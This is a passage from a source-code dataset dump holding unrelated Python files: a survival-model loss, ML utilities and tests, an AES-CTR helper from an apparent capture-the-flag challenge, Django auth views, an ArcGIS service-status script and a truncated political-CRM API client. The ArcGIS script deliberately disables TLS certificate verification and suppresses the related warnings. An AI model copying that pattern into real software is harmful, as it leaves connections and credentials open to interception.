output_activation(object):\n \"\"\" Elementwise computation of alpha and regularized beta using keras.layers.Activation.\n Wrapper\n\n Usage:\n wtte_activation = wtte.output_activation(init_alpha=1.,\n max_beta_value=4.0).activation\n\n model.add(Dense(2))\n model.add(Activation(wtte_activation))\n\n \"\"\"\n\n def __init__(self, init_alpha=1.0, max_beta_value=5.0):\n self.init_alpha = init_alpha\n self.max_beta_value = max_beta_value\n\n def activation(self, ab):\n ab = output_lambda(ab, init_alpha=self.init_alpha,\n max_beta_value=self.max_beta_value)\n\n return ab\n\n\nclass loss(object):\n \"\"\" Creates a keras WTTE-loss function.\n If regularize is called, a penalty is added creating 'wall' that beta do not\n want to pass over. This is not necessary with Sigmoid-beta activation.\n\n With masking keras needs to access each loss-contribution individually. Therefore\n we do not sum/reduce down to dim 1, instead a return tensor (with reduce_loss=False).\n\n Usage:\n loss = wtte.loss(kind='discrete').loss_function\n model.compile(loss=loss, optimizer=RMSprop(lr=0.01))\n And with masking:\n loss = wtte.loss(kind='discrete',reduce_loss=False).loss_function\n model.compile(loss=loss, optimizer=RMSprop(lr=0.01),sample_weight_mode='temporal')\n\n \"\"\"\n\n def __init__(self,\n kind,\n reduce_loss=True,\n regularize=False,\n location=10.0,\n growth=20.0):\n\n self.kind = kind\n self.reduce_loss = reduce_loss\n\n self.regularize = regularize\n if regularize:\n self.location = location\n self.growth = growth\n\n def loss_function(self, y_true, y_pred):\n def keras_split(y_true, y_pred):\n \"\"\"\n Everything is a hack around the y_true,y_pred paradigm.\n \"\"\"\n y, u = _keras_unstack_hack(y_true)\n a, b = _keras_unstack_hack(y_pred)\n\n return y, u, a, b\n\n def loglik_discrete(y, u, a, b, epsilon=1e-35):\n hazard0 = K.pow((y + epsilon) / a, b)\n hazard1 = K.pow((y + 1.0) / a, b)\n\n loglikelihoods = u * \\\n K.log(K.exp(hazard1 - hazard0) - 1.0) - hazard1\n return loglikelihoods\n\n def loglik_continuous(y, u, a, b, epsilon=1e-35):\n ya = (y + epsilon) / a\n loglikelihoods = u * (K.log(b) + b * K.log(ya)) - K.pow(ya, b)\n return loglikelihoods\n\n def loglik_continuous_conditional_correction(y, u, a, b, epsilon=1e-35):\n \"\"\"Integrated conditional excess loss.\n Explanation TODO\n \"\"\"\n ya = (y + epsilon) / a\n loglikelihoods = y * \\\n (u * (K.log(b) + b * K.log(ya)) - (b / (b + 1.)) * K.pow(ya, b))\n return loglikelihoods\n\n def penalty_term(b, location, growth):\n scale = growth / location\n penalty = K.exp(scale * (b - location))\n return penalty\n\n def accumulate_loss(loglikelihoods):\n loss = -1.0 * K.mean(loglikelihoods, axis=-1)\n return loss\n\n y, u, a, b = keras_split(y_true, y_pred)\n\n if self.kind == 'discrete':\n loglikelihoods = loglik_discrete(y, u, a, b)\n elif self.kind == 'continuous':\n loglikelihoods = loglik_continuous(y, u, a, b)\n\n if self.regularize:\n loglikelihoods = loglikelihoods + \\\n penalty_term(b, self.location, self.growth)\n\n if self.reduce_loss:\n loss = accumulate_loss(loglikelihoods)\n else:\n loss = -loglikelihoods\n\n return loss\n","sub_path":"WTTE-RNN_Weibull_Time_To_Event_Recurrent_Neural_Network_Martinsson/python/wtte/wtte.py","file_name":"wtte.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"200854103","text":"import numpy as np\n\ndef batch_stream(arrays, batch_size=8):\n size = arrays[0].shape[0]\n n_batches = size / batch_size\n\n indx = np.random.permutation(size)\n\n for batch in xrange(n_batches):\n from_i = batch * batch_size\n to_i = from_i + batch_size\n\n batch_indx = indx[from_i:to_i]\n\n yield [ arr[batch_indx] for arr in arrays ]\n\ndef onehot(y):\n n_classes = np.max(y) + 1\n \n encoded = np.zeros(shape=(y.shape[0], n_classes), dtype='float32')\n encoded[np.arange(y.shape[0]), y] = 1\n \n return encoded","sub_path":"mldm/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"559529254","text":"import numpy as np\nimport torch\n\n\ndef test_db_boxes_from_bitmaps():\n \"\"\"Test the boxes_from_bitmaps function in db_decoder.\"\"\"\n from mmocr.models.textdet.postprocess.wrapper import db_decode\n pred = np.array([[[0.8, 0.8, 0.8, 0.8, 0], [0.8, 0.8, 0.8, 0.8, 0],\n [0.8, 0.8, 0.8, 0.8, 0], [0.8, 0.8, 0.8, 0.8, 0],\n [0.8, 0.8, 0.8, 0.8, 0]]])\n preds = torch.FloatTensor(pred).requires_grad_(True)\n\n boxes = db_decode(preds, text_repr_type='quad', min_text_width=0)\n assert len(boxes) == 1\n\n\ndef test_fcenet_decode():\n from mmocr.models.textdet.postprocess.wrapper import fcenet_decode\n\n k = 5\n preds = []\n preds.append(torch.randn(1, 4, 40, 40))\n preds.append(torch.randn(1, 4 * k + 2, 40, 40))\n\n boundaries = fcenet_decode(\n preds=preds, fourier_degree=k, reconstr_points=50, scale=1)\n\n assert isinstance(boundaries, list)\n","sub_path":"tests/test_utils/test_wrapper.py","file_name":"test_wrapper.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"420820787","text":"import io\n\nfrom Crypto import Random\nfrom Crypto.Cipher import AES\n\n\nclass Crypter(object):\n\n RNG = Random.new()\n KEY_LEN = 128//8\n\n def __init__(self, key=None, iv=None):\n self.key = key or self.RNG.read(self.KEY_LEN)\n self.iv = iv or self.RNG.read(8)\n assert(len(self.iv) <= 15)\n assert(len(self.key) in AES.key_size)\n self._cipher = AES.new(self.key, AES.MODE_CTR, nonce=self.iv)\n\n @property\n def hexkey(self):\n return self.key.hex()\n\n @property\n def hexiv(self):\n return self.iv.hex()\n\n @staticmethod\n def convert_src(s):\n if hasattr(s, 'read'):\n return s\n if isinstance(s, bytes):\n return io.BytesIO(s)\n raise TypeError(\"Unsupported type: \" + type(s))\n\n def encrypt(self, src, dst):\n src = self.convert_src(src)\n while True:\n blk = src.read(4096)\n if not blk:\n try:\n dst.flush()\n except:\n pass\n return\n dst.write(self._cipher.encrypt(blk))\n\n def decrypt(self, src, dst):\n src = self.convert_src(src)\n while True:\n blk = src.read(4096)\n if not blk:\n try:\n dst.flush()\n except:\n pass\n return\n dst.write(self._cipher.decrypt(blk))\n","sub_path":"encryptbin/challenge/src/crypter.py","file_name":"crypter.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"42424911","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom rest_framework.response import Response\nfrom api.models import *\nfrom rest_framework import generics\nfrom rest_framework.decorators import api_view\nfrom django.contrib.auth.models import User\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.authtoken.serializers import AuthTokenSerializer\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework import status\nfrom api.serializers import UserSerializer\n\n\nclass UserList(generics.ListAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n permission_classes = (AllowAny,)\n\n\n@api_view(['POST'])\ndef login(request):\n serializer = AuthTokenSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data.get('user')\n token, created = Token.objects.get_or_create(user=user)\n username = token.user.username\n email = token.user.email\n response = {\n 'token': token.key,\n 'username': username,\n 'email': email,\n 'id': token.user.pk\n }\n return Response(response)\n\n\n@api_view(['POST'])\ndef logout(request):\n request.auth.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\n@api_view(['POST'])\ndef signup(request):\n serialized = UserSerializer(data=request.data)\n data = {}\n if serialized.is_valid():\n account = serialized.save()\n data['username'] = account.username\n data['email'] = account.email\n return Response(data, status=status.HTTP_201_CREATED)\n else:\n return Response(serialized.errors, status=status.HTTP_400_BAD_REQUEST)\n","sub_path":"project/api/views/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"393772269","text":"\"\"\"\nUses a single ArcGIS Server machine to interrogate the status of services and outputs a json file of the results.\n\nRandomly accessing one of the four ags machines by machine name to bypass the web adaptor. This is done to avoid a\nClient Mismatch Erros related to token recognition failures by machines when run using geodata.md.gov (web adaptor).\nA request is made to a machine first for a token and then for information on services on the machine. The information\nis used to write an output json file that is later used by the status dashboard web page to display performance for\nthe services.\n\nName: AGS Directory to list of started/not with stats\nPurpose: Use for status dashboard within DoIT\nAuthor: JCahoon\nRevised: 20180702, JCahoon, Modifications to work with Python 3 library\nRevised: 20180821, CJuice, Redesigned to be object oriented, and addressed Client Mismatch Error issue related to\n token recognition failures by arcgis server machines. Accessing machines directly, bypassing the web adaptor,\n and suppressing Insecure Request Warnings.\nRevised:\n\"\"\"\n\n\ndef main():\n\n import configparser\n import json\n import os\n import random\n import requests\n # urllib3 is included in requests but to manage the InsecureRequestWarning it was also imported directly\n import urllib3\n from urllib3.exceptions import InsecureRequestWarning\n\n # Without disabled warnings, every request would print a red warning. This is because we have chosen\n # 'verify=False' when making requests to secure services.\n urllib3.disable_warnings(InsecureRequestWarning)\n\n # VARIABLES\n _ROOT_PROJECT_PATH = os.path.dirname(__file__)\n CREDENTIALS_PATH = os.path.join(_ROOT_PROJECT_PATH, \"Docs/credentials.cfg\")\n config = configparser.ConfigParser() # Need sensitive information from config file\n config.read(filenames=CREDENTIALS_PATH)\n\n GEODATA_ALIAS = \"Geodata Data\"\n GROUPED_TYPES_LIST = (\"GeometryServer\", \"SearchServer\", \"GlobeServer\", \"GPServer\", \"GeocodeServer\", \"GeoDataServer\")\n PASSWORD = config['ags_server_credentials'][\"password\"]\n RESULT_FILE = \"GeodataServices.json\"\n SERVER_MACHINE_NAMES = {0: config['ags_prod_machine_names'][\"machine1\"],\n 1: config['ags_prod_machine_names'][\"machine2\"],\n 2: config['ags_prod_machine_names'][\"machine3\"],\n 3: config['ags_prod_machine_names'][\"machine4\"]}\n SERVER_PORT_SECURE = config['ags_prod_machine_names'][\"secureport\"]\n SERVER_ROOT_URL = \"https://{machine_name}.mdgov.maryland.gov:{port}\"\n SERVER_URL_ADMIN_SERVICES = \"arcgis/admin/services\"\n SERVER_URL_GENERATE_TOKEN = \"arcgis/admin/generateToken\"\n USERNAME = config['ags_server_credentials'][\"username\"]\n\n # CLASSES\n class ReportObject:\n \"\"\"Reports are summaries of services within folders.\"\"\"\n GEODATA_ROOT = \"https://geodata.md.gov/imap/rest/services\"\n REST_URL_BEGINNING = \"https://{machine_name}.mdgov.maryland.gov:{port}/arcgis/rest/services\"\n REST_URL_END = \"{folder}/{service_name}/{type}\"\n\n def __init__(self, report, folder, machine_name):\n \"\"\"\n Instantiate an ReportObject\n :param report: json object with information about the services\n :param folder: the folder in the services directory\n :param machine_name: the name of the ags server machine currently being interrogated for information\n \"\"\"\n self.folder = folder\n self.type = report[\"type\"]\n self.service_name = report[\"serviceName\"]\n self.rest_service_url_machine = machine_name\n self.rest_service_url_geodata = None\n self.real_time_status = report[\"status\"][\"realTimeState\"]\n self.cached = \"NA\"\n self.feature_service = \"NA\"\n self.kml = \"NA\"\n self.wms = \"NA\"\n self.wfs = \"NA\"\n self.layers = \"NA\"\n self.extensions = report[\"extensions\"]\n\n def create_base_dictionary(self):\n \"\"\"\n Creates a dictionary of attributes for json.dumps() consumption.\n This base dictionary is common to all service types.\n :return:\n \"\"\"\n data = {\"ServiceName\": self.service_name,\n \"Server\": GEODATA_ALIAS,\n \"Folder\": self.folder,\n \"URL\": self.rest_service_url_geodata,\n \"Type\": self.type,\n \"Status\": self.real_time_status,\n \"Cached\": self.cached,\n \"FeatureService\": self.feature_service,\n \"kml\": self.kml,\n \"wms\": self.wms,\n \"wfs\": self.wfs}\n return data\n\n @property\n def folder(self):\n return self.__folder\n\n @folder.setter\n def folder(self, value):\n self.__folder = value.replace(\"/\", \"\")\n\n @property\n def rest_service_url_geodata(self):\n return self.__rest_service_url_geodata\n\n @rest_service_url_geodata.setter\n def rest_service_url_geodata(self, value):\n \"\"\"\n Creates the url for a service with geodata.md.gov rather than the machine name\n :param value: Not used, no initial assignment value\n :return: None\n \"\"\"\n ending = ReportObject.REST_URL_END.format(folder=self.folder, service_name=self.service_name, type=self.type)\n self.__rest_service_url_geodata = f\"{ReportObject.GEODATA_ROOT}/{ending}\"\n\n @property\n def rest_service_url_machine(self):\n return self.__rest_service_url_machine\n\n @rest_service_url_machine.setter\n def rest_service_url_machine(self, value):\n \"\"\"\n Creates the url for a service with the machine name for use from a web server to bypass the web adaptor\n :param value: Initial assignment value is the machine name only\n :return: None\n \"\"\"\n beginning = ReportObject.REST_URL_BEGINNING.format(machine_name=value, port=SERVER_PORT_SECURE)\n ending = ReportObject.REST_URL_END.format(folder=self.folder, service_name=self.service_name, type=self.type)\n self.__rest_service_url_machine = f\"{beginning}/{ending}\"\n\n def create_json_string(self, data, indent=4):\n \"\"\"\n Create and return a json string from a dictionary.\n Intended to accept the base dictionary.\n :param data: a dictionary; designed to accept the base dictionary\n :param indent: json output pretty indent dimension (default=4)\n :return: json\n \"\"\"\n return json.dumps(obj=data, indent=indent)\n\n def create_json_string_mapserver(self, data, indent=4):\n \"\"\"\n Add a key/value pair to a dictionary and then create and return a json string from that dictionary.\n Intended to accept the base dictionary and then add a key/value specific to MapServer type services.\n :param data: a dictionary; designed to accept the base dictionary\n :param indent: json output pretty indent dimension (default=4)\n :return: json\n \"\"\"\n data[\"layers\"] = self.layers\n return json.dumps(obj=data, indent=indent)\n\n class MachineObject:\n \"\"\"Created to store machine properties and values.\"\"\"\n def __init__(self, machine_name, root_url, admin_services_url, token, folders):\n \"\"\"\n Instantiate the machine objects\n :param machine_name: name of the server machine\n :param root_url: root url for machine\n :param admin_services_url: root url for machine plus /arcgis/admin/services\n :param token: the token generated by the machine for secure access\n :param folders: list of folders discovered during inspection of the services\n \"\"\"\n self.machine_name = machine_name\n self.root_url = root_url\n self.admin_services_url = admin_services_url\n self.token = token\n self.folders_list = folders\n def __str__(self):\n \"\"\"\n Overriding the __str__ builtin to control the appearance of the machine object print-out for readability.\n :return: string\n \"\"\"\n return f\"{self.machine_name}-->\\n\\t{self.root_url}\\n\\t{self.admin_services_url}\\n\\t{self.token}\\n\\t{self.folders_list}\"\n\n class NotJSONException(Exception):\n \"\"\"Raised when the url for the request is malformed for our purposes and the server returns html, not json\"\"\"\n def __init__(self):\n pass\n\n # FUNCTIONS\n def create_params_for_request(token_action=None):\n \"\"\"\n Create parameters to be submitted with the request.\n :param token_action: route to be taken when creating the parameters\n :return: dictionary of parameters\n \"\"\"\n if token_action == None:\n values = {'f': 'json'}\n elif token_action == \"getToken\":\n values = {'username': USERNAME, 'password': PASSWORD, 'client': 'requestip', 'f': 'json'}\n else:\n values = {'token': token_action, 'f': 'json'}\n return values\n\n def get_value_from_response(url, params, search_key):\n \"\"\"\n Submit a request with parameters to a url and inspect the response json for the specified key of interest.\n :param url: url to which to make a request\n :param params: parameters to accompany the request\n :param search_key: the key of interest in the response json\n :return: content of json if key present in response\n \"\"\"\n # To deal with mixed path characters between url syntax and os.path.join use of \"\\\"\n url = clean_url_slashes(url)\n\n # FROM ORIGINAL DESIGN HANDLING CLIENT MISMATCH ERROR CONCERNING TOKEN RECOGNITION\n # To deal with the client mismatch error we were encountering, we used the following 'While' to make repeated\n # requests as a bypass. If the error is no longer encountered because the machine name is now used to bypass\n # the web adapter, which seemed to be connected to the issue with token mismatches, then the process will run\n # the first time so the 'While' is removed but may be of value if similar errors arise in the future.\n # while True:\n\n try:\n # Jessie discovered \"verify\" option and set to False to bypass the ssl issue\n response = requests.post(url=url, data=params, verify=False)\n except Exception as e:\n print(\"Error in response from requests: {}\".format(e))\n exit()\n else:\n try:\n if \"html\" in response.headers[\"Content-Type\"]:\n raise NotJSONException\n response_json = response.json()\n except json.decoder.JSONDecodeError as jde:\n print(\"Error decoding response to json: {}\".format(jde))\n print(response)\n exit()\n except NotJSONException as NJE:\n print(\"Appears to be html, not json. Problem lies with ...\")\n print(response.url)\n print(response.headers)\n print(response.text)\n exit()\n try:\n value = response_json[search_key]\n except KeyError as ke:\n print(\"KeyError: {}\".format(ke))\n # continue # for While loop usage\n exit()\n except TypeError as te:\n print(\"TypeError: {}\".format(te))\n print(response_json)\n # continue # for While loop usage\n exit()\n else:\n return value\n\n def clean_url_slashes(url):\n \"\"\"\n Standardize the slashes when use of os.path.join() with forward slashes in url's.\n os.path.join() uses back slashes '\\' while http uses forward slashes '/'\n :param url: url to be examined\n :return: standardized url string\n \"\"\"\n url = url.replace(\"\\\\\", \"/\")\n return url\n\n def create_random_int(upper_integer):\n \"\"\"\n Create and return a random integer from 0 to one less than the upper range value.\n :param upper_integer: upper integer of range to be used\n :return: integer\n \"\"\"\n options = upper_integer - 1\n spot = random.randint(0, options)\n return spot\n\n def extract_extension_properties(extensions_dict, name_check, extensions=\"extensions\", type_name=\"typeName\"):\n \"\"\"\n Create and return a list of extensions values for a service based on the service type\n :param extensions_dict: extensions dictionary to be inspected\n :param name_check: name to check the type against\n :param extensions: default use was 'extensions' per Jessie's design but could be other values too\n :param type_name: default use was 'typeName' per Jessie's design but could be other values too\n :return: list\n \"\"\"\n return [entity for entity in extensions_dict[extensions] if entity[type_name] == name_check]\n\n # FUNCTIONALITY\n # Select a machine at random to which to make a request.\n machine = SERVER_MACHINE_NAMES[create_random_int(upper_integer=len(SERVER_MACHINE_NAMES))]\n print(f\"MACHINE: {machine}\")\n\n # Get a token\n root_server_url = SERVER_ROOT_URL.format(machine_name=machine, port=SERVER_PORT_SECURE)\n generate_token_url = os.path.join(root_server_url, SERVER_URL_GENERATE_TOKEN)\n token_params = create_params_for_request(token_action=\"getToken\")\n token = get_value_from_response(url=generate_token_url, params=token_params, search_key=\"token\")\n\n # Make a request for secure services using the token\n request_params_result = create_params_for_request(token_action=token)\n admin_services_full_url = clean_url_slashes(os.path.join(root_server_url, SERVER_URL_ADMIN_SERVICES))\n folders = get_value_from_response(url=admin_services_full_url,\n params=request_params_result,\n search_key=\"folders\")\n\n # Remove certain folders (System and Utilities per Jessie), and append entry for root folder\n remove_folders = [\"System\", \"Utilities\"]\n folders = list(set(folders) - set(remove_folders))\n folders.append(\"\")\n folders.sort()\n\n # Create a machine object for the selected ArcGIS Server machine.\n machine_object = MachineObject(machine_name=machine,\n root_url=root_server_url,\n admin_services_url=admin_services_full_url,\n token=token,\n folders=folders)\n\n # Initiate the output file\n machine_result_file = f\"{RESULT_FILE}\"\n service_results_file_handler = open(os.path.join(_ROOT_PROJECT_PATH, machine_result_file), 'w')\n service_results_file_handler.write(\"[\")\n\n # Loop on the found folders, discover the services, and write the services information\n folder_iteration_count = 0\n for folder in machine_object.folders_list:\n print(f\"\\nFOLDER: {folder} - {folder_iteration_count + 1} of {len(machine_object.folders_list)}\")\n\n # Determine if the current iteration is examining the root folder. If is, do nothing\n folder_iteration_count += 1\n if folder == \"\" or folder == \"/\": # Unclear why Jessie included 'folder == \"/\"' but am preserving\n continue\n else:\n\n # Build the URL for the current folder\n folder += \"/\"\n report_url = os.path.join(machine_object.admin_services_url, folder, \"report\")\n report_request_params = create_params_for_request(token_action=machine_object.token)\n reports = get_value_from_response(url=report_url, params=report_request_params, search_key=\"reports\")\n\n # Inspect service reports\n report_iteration_count = 0\n for report in reports:\n line = \"\"\n if folder == \"\":\n folder_name = \"Root\"\n else:\n folder_name = folder\n\n report_object = ReportObject(report=report, folder=folder_name, machine_name=machine)\n if report_object.type in GROUPED_TYPES_LIST:\n line = report_object.create_json_string(data=report_object.create_base_dictionary())\n elif report_object.type == \"MapServer\":\n\n # Check for Map Cache\n report_object.cached = report[\"properties\"][\"isCached\"]\n\n if len(report_object.extensions) > 0:\n\n # Extract the KML, WMS, WFS, and FeatureServer properties from the response\n # Current design makes a list containing one dictionary. It then accesses the dictionary by\n # specifying the zero index of the list to get the dict and then requests the 'enabled' key.\n # TODO: Improvement - redesign for use of report object and simplify\n kml_properties = extract_extension_properties(extensions_dict=report, name_check=\"KmlServer\")\n wms_properties = extract_extension_properties(extensions_dict=report, name_check=\"WMSServer\")\n wfs_properties = extract_extension_properties(extensions_dict=report, name_check=\"WFSServer\")\n feature_server_properties = extract_extension_properties(extensions_dict=report,\n name_check=\"FeatureServer\")\n if len(feature_server_properties) > 0:\n report_object.feature_service = str(feature_server_properties[0][\"enabled\"])\n if len(kml_properties) > 0:\n report_object.kml = str(kml_properties[0][\"enabled\"])\n if len(wms_properties) > 0:\n report_object.wms = str(wms_properties[0][\"enabled\"])\n if len(wfs_properties) > 0:\n report_object.wfs = str(wfs_properties[0][\"enabled\"])\n\n # Handle map server layers. Functionality unique to Map Server.\n layer_iteration_count = 0\n layers_string = \"[\"\n if report_object.real_time_status == \"STARTED\":\n layer_request_params = create_params_for_request()\n layers = get_value_from_response(url=report_object.rest_service_url_machine,\n params=layer_request_params,\n search_key=\"layers\")\n try:\n for layer in layers:\n if layer_iteration_count == 0:\n pass\n else:\n layers_string += \",\"\n layer_data_dict = {\"id\": str(layer[\"id\"]), \"name\": layer[\"name\"]}\n layers_string += json.dumps(layer_data_dict)\n layer_iteration_count += 1\n except Exception as e:\n print(f'No layers. {e}')\n layers_string += \"]\"\n report_object.layers = layers_string\n line = report_object.create_json_string_mapserver(data=report_object.create_base_dictionary())\n elif report[\"type\"] == \"ImageServer\":\n wms_properties = extract_extension_properties(extensions_dict=report, name_check=\"WMSServer\")\n if len(wms_properties) > 0:\n report_object.wms = str(wms_properties[0][\"enabled\"])\n line = report_object.create_json_string(data=report_object.create_base_dictionary())\n else:\n # line would still be == \"\" if this else is accessed\n pass\n\n # Insert a comma before all lines except for the first service report or where the line is empty.\n if report_iteration_count == 0 or line == \"\":\n pass\n else:\n line = f\",{line}\"\n\n # Write the results to the file, unless the line is empty\n if line == \"\":\n pass\n else:\n service_results_file_handler.write(line)\n report_iteration_count += 1\n\n # Insert a comma after all of a folders services have been processed\n # ***Except after the last folder of the entire output.\n if folder_iteration_count < (len(folders)) and report_iteration_count > 0:\n comma = \",\"\n service_results_file_handler.write(comma)\n else:\n pass\n\n service_results_file_handler.write(\"]\")\n service_results_file_handler.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"archiveDataToJSON_MOD.py","file_name":"archiveDataToJSON_MOD.py","file_ext":"py","file_size_in_byte":21351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"29268771","text":"from bsdapi.Bundles import Bundles\nfrom bsdapi.Filters import Filters\nfrom bsdapi.RequestGenerator import RequestGenerator\nfrom bsdapi.Styler import Colorizer\nfrom bsdapi.ApiResult import api_result_factory, ApiResultPrettyPrintable\n\ntry:\n import http.client as httplib\n from http.client import HTTPException\nexcept ImportError:\n import httplib\n from httplib import HTTPException\n\ntry:\n from urllib.parse import urlencode\nexcept ImportError:\n from urllib import urlencode\n\nimport base64, email.parser\n\n\nclass BsdApi(object):\n\n GET = 'GET'\n POST = 'POST'\n\n def __init__(self, id, secret, host, result_cls=None, port=80, secure_port=443, http_username=None, http_password=None):\n self.api_id = id\n self.api_secret = secret\n self.api_host = host\n if result_cls is None:\n result_cls = api_result_factory()\n\n self.api_result_cls = result_cls\n self.api_port = port\n self.api_secure_port = secure_port\n self.http_username = http_username\n self.http_password = http_password\n\n def get_deferred_results(self, deferred_id):\n query = {'deferred_id': deferred_id}\n url_secure = self._generate_request('/get_deferred_results', query)\n return self._make_get_request(url_secure)\n\n def do_request(self, api_call, api_params=None, request_type=GET, body=None, headers=None, https=False):\n if api_params is None:\n api_params = {}\n\n url = self._generate_request(api_call, api_params, https)\n\n if request_type == \"GET\":\n return self._make_get_request(url, https)\n else:\n return self._make_post_request(url, body, https)\n\n def account_check_credentials(self, userid, password):\n query = {'userid': userid, 'password': password}\n url_secure = self._generate_request('/account/check_credentials', query, https=True)\n return self._make_get_request(url_secure, https = True)\n\n def account_create_account(self, email, password, firstname, lastname, zip):\n query = {\n 'email': email,\n 'password': password,\n 'firstname': firstname,\n 'lastname': lastname,\n 'zip': zip,}\n url_secure = self._generate_request('/account/create_account', query, https=True)\n return self._make_get_request(url_secure, https = True)\n\n def account_reset_password(self, userid):\n query = {'userid': userid}\n url_secure = self._generate_request('/account/reset_password', query, https=True)\n return self._make_get_request(url_secure, https = True)\n\n def account_set_password(self, userid, password):\n query = {'userid': userid, 'password': password}\n url_secure = self._generate_request('/account/set_password', query, https=True)\n return self._make_get_request(url_secure, https = True)\n\n def circle_list_circles(self, circle_type=None, state_cd=None):\n query = {}\n\n if circle_type:\n query['circle_type'] = str(circle_type)\n\n if state_cd:\n query['state_cd'] = str(state_cd)\n\n url_secure = self._generate_request('/circle/list_circles', query)\n return self._make_get_request(url_secure)\n\n def circle_get_cons_ids_for_circle(self, circle_id):\n query = {'circle_id': str(circle_id)}\n url_secure = self._generate_request('/circle/get_cons_ids_for_circle', query)\n return self._make_get_request(url_secure)\n\n def circle_get_ext_ids_for_circle(self, circle_id, ext_type):\n query = {'circle_id': str(circle_id), 'ext_type': ext_type}\n url_secure = self._generate_request('/circle/get_ext_ids_for_circle', query)\n return self._make_get_request(url_secure)\n\n def circle_set_cons_ids_for_circle(self, circle_id, cons_ids):\n query = {'circle_id': str(circle_id),\n 'cons_ids': ','.join([str(cons) for cons in cons_ids])}\n\n url_secure = self._generate_request('/circle/set_cons_ids_for_circle')\n return self._make_get_request(url_secure, query)\n\n def circle_set_ext_ids_for_circle(self, circle_id, ext_type, ext_ids):\n query = {'circle_id': str(circle_id),\n 'ext_type': ext_type,\n 'ext_ids': ','.join([str(ext_id) for ext_id in ext_ids])}\n\n url_secure = self._generate_request('/circle/set_ext_ids_for_circle')\n return self._make_post_request(url_secure, query)\n\n def circle_add_cons_ids_for_circle(self, circle_id, cons_ids):\n query = {'circle_id': str(circle_id),\n 'cons_ids': ','.join([str(cons) for cons in cons_ids])}\n\n url_secure = self._generate_request('/circle/add_cons_ids_for_circle')\n return self._make_get_request(url_secure, query)\n\n def circle_add_ext_ids_for_circle(self, circle_id, ext_type, ext_ids):\n query = {'circle_id': str(circle_id),\n 'ext_type': ext_type,\n 'ext_ids': ','.join([str(ext_id) for ext_id in ext_ids])}\n\n url_secure = self._generate_request('/circle/add_ext_ids_for_circle')\n return self._make_get_request(url_secure, query)\n\n def circle_remove_cons_ids_for_circle(self, circle_id, cons_ids):\n query = {'circle_id': str(circle_id),\n 'cons_ids': ','.join([str(cons) for cons in cons_ids])}\n\n url_secure = self._generate_request('/circle/remove_cons_ids_for_circle')\n return self._make_post_request(url_secure, query)\n\n def circle_remove_ext_ids_for_circle(self, circle_id, ext_type, ext_ids):\n query = {'circle_id': str(circle_id),\n 'ext_type': ext_type,\n 'ext_ids': ','.join([str(ext_id) for ext_id in ext_ids])}\n\n url_secure = self._generate_request('/circle/remove_ext_ids_for_circle')\n return self._make_post_request(url_secure, query)\n\n def circle_move_cons_ids_for_circle(self, from_circle_id, to_circle_id, cons_ids):\n query = {'from_circle_id': str(from_circle_id),\n 'to_circle_id': str(to_circle_id),\n 'cons_ids': ','.join([str(cons) for cons in cons_ids])}\n\n url_secure = self._generate_request('/circle/move_cons_ids_for_circle')\n return self._make_post_request(url_secure, query)\n\n def circle_move_ext_ids_for_circle(self, from_circle_id, to_circle_id,\n ext_type, ext_ids):\n query = {'from_circle_id': str(from_circle_id),\n 'to_circle_id': str(to_circle_id),\n 'ext_type': ext_type,\n 'ext_ids': ','.join([str(ext_id) for ext_id in ext_ids])}\n\n url_secure = self._generate_request('/circle/move_ext_ids_for_circle')\n return self._make_post_request(url_secure, query)\n\n def circle_set_circle_administrator(self, circle_id, cons_id):\n query = {'circle_id': str(circle_id),\n 'cons_id': str(cons_id)}\n\n url_secure = self._generate_request('/circle/set_circle_administrator')\n return self._make_post_request(url_secure, query)\n\n def circle_demote_circle_administrator(self, circle_id, cons_id):\n query = {'circle_id': str(circle_id),\n 'cons_id': str(cons_id)}\n\n url_secure = self._generate_request('/circle/demote_circle_administrator')\n return self._make_post_request(url_secure, query)\n\n def circle_set_circle_owner(self, circle_id, cons_id):\n query = {'circle_id': str(circle_id),\n 'cons_id': str(cons_id)}\n\n url_secure = self._generate_request('/circle/set_circle_owner')\n return self._make_post_request(url_secure, query)\n\n def cons_get_constituents(self, filter, bundles=None):\n query = {'filter': str(Filters(filter))}\n\n if bundles:\n query['bundles'] = str(Bundles(bundles))\n\n url_secure = self._generate_request('/cons/get_constituents', query)\n return self._make_get_request(url_secure)\n\n def cons_get_constituents_by_id(self, cons_ids, filter=None, bundles=None):\n '''Retrieves constituents by ID '''\n query = {'cons_ids': ','.join([str(elem) for elem in cons_ids])}\n\n if filter:\n query['filter'] = str(Filters(filter))\n\n if bundles:\n query['bundles'] = str(Bundles(bundles))\n\n url_secure = self._generate_request('/cons/get_constituents_by_id', query)\n return self._make_get_request(url_secure)\n\n def cons_get_constituents_by_ext_id(self, ext_type, ext_ids, filter=None, bundles=None):\n query = {'ext_type': ext_type, 'ext_ids': ','.join([str(elem) for elem in ext_ids])}\n\n if filter:\n query['filter'] = str(Filters(filter))\n\n if bundles:\n query['bundles'] = str(Bundles(bundles))\n\n url_secure = self._generate_request('/cons/get_constituents_by_ext_id', query)\n return self._make_get_request(url_secure)\n\n def cons_get_updated_constituents(self, changed_since, filter=None, bundles=None):\n query = {'changed_since': str(changed_since)}\n\n if filter:\n query['filter'] = str(Filters(filter))\n\n if bundles:\n query['bundles'] = str(Bundles(bundles))\n\n url_secure = self._generate_request('/cons/get_updated_constituents', query)\n return 